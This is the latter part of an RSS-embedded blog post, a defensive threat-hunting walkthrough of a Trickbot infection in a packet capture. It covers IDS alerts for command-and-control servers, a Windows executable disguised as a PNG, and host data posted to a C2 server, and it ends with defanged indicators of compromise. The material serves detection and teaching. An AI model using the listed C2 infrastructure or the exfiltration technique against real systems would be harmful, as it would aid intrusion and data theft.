      &lt;th&gt;Signature&lt;/th&gt;
      &lt;th&gt;Tag&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;195[.]123[.]220[.]154&lt;/td&gt;
      &lt;td&gt;10.0.100.185&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 12&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;185[.]65[.]202[.]240&lt;/td&gt;
      &lt;td&gt;10.0.100.185&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 8&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;190[.]214[.]13[.]2&lt;/td&gt;
      &lt;td&gt;10.0.100.185&lt;/td&gt;
      &lt;td&gt;ET CNC Feodo Tracker Reported CnC Server group 11&lt;/td&gt;
      &lt;td&gt;Banking_Trojan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;104[.]20[.]16[.]242&lt;/td&gt;
      &lt;td&gt;10.0.100.185&lt;/td&gt;
      &lt;td&gt;ET POLICY curl User-Agent Outbound&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;104[.]20[.]16[.]242&lt;/td&gt;
      &lt;td&gt;10.0.100.185&lt;/td&gt;
      &lt;td&gt;ET POLICY IP Check Domain (icanhazip[.]com in HTTP Host)&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Boom, we found the Trickbot TLS connections, but what about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wecan23&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: As I dug through this, I found a lot of DNS traffic to blocklists (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cbl.abuseat[.]org&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;barracudacentral[.]org&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uceprotect[.]net&lt;/code&gt;, etc.). While the victim (or the pcap sampler) seemingly use these lists, I excluded this as it’s not part of the infection.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;As we see in the the table above, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.100.185&lt;/code&gt; seems to be infected. So let’s filter in on that IP address in Kibana.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-20-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s get rid of our known bad Destination IPs (above), the IP recon domains (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icanhazip&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;externalip.com&lt;/code&gt;), and see what is left over to see if there’s anything else we can find. I’m also going to drop the DNS server out (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.100.2&lt;/code&gt;), while there’s good info there, we’ve got others to look at that might have more. If there’s nothing, we can do a DNS hunt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-20-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Of interest, the connection between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.100.185&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192[.]3[.]124[.]40&lt;/code&gt; is over port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80&lt;/code&gt;, but there’s not a corresponding HTTP Zeek log, so we’ll have to use Docket to carve the PCAP and check it out in Wireshark.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-20-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see, the file name is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lastimg.png&lt;/code&gt;, but the file type metadata has a magic number of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MZ&lt;/code&gt;, which is a PE binary. Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Export HTTP Objects&lt;/code&gt; in Wireshark, we can see there are 2 “png” files called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lastimg.png&lt;/code&gt; as well as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mini.png&lt;/code&gt;. We’ll carve those out and statically analyze them.&lt;/p&gt;

&lt;p&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exiftool&lt;/code&gt;, we can see some interesting info, mainly that the original file was called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;002.exe&lt;/code&gt; and that the File Type is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win32 EXE&lt;/code&gt;, not an image (truncated).&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ exiftool lastimg.png
...
File Name                       : lastimg.png
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Image File Characteristics      : Executable, 32-bit
PE Type                         : PE32
Original File Name              : 002.exe
Product Name                    : 002.exe
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s see what VirusTotal knows about these 2 files by searching their MD5 hashes &lt;a href=&quot;https://www.virustotal.com/gui/search/489eef73a1a5880f644f3b60267db7e8&quot;&gt;1&lt;/a&gt;&lt;a href=&quot;https://www.virustotal.com/gui/search/c1820b0685ea2c16a9da3efd2f3b58d9&quot;&gt;2&lt;/a&gt;…&lt;strong&gt;EVIL!&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Back to Kibana and see what else is there. As before, let’s get rid of our known bad and all we have left is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;203[.]176[.]135[.]102&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-20-20-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Like before, it’s only Connection log stuff, so let’s carve the PCAP between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.100.185&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;203[.]176[.]135[.]102&lt;/code&gt; and see what we find in Wireshark, which appears to be posting host IDs, running processes, usernames, workstation domain, etc. to a server &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cowboy&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2-20-20-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There was a lot of this kind of data being uploaded; feel free to explore it on your own and…obfuscating all of this data is exhausting.&lt;/p&gt;

&lt;h2 id=&quot;artifacts&quot;&gt;Artifacts&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;203[.]176[.]135[.]102
195[.]123[.]220[.]154
185[.]65[.]202[.]240
190[.]214[.]13[.]2
192[.]3[.]124[.]40
/wecan23/
489eef73a1a5880f644f3b60267db7e
c1820b0685ea2c16a9da3efd2f3b58d9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Until next time, cheers and happy hunting!&lt;/p&gt;
</description>
                <pubDate>Fri, 21 Feb 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/02/21/trickbot.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/02/21/trickbot.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
    </channel>
</rss>
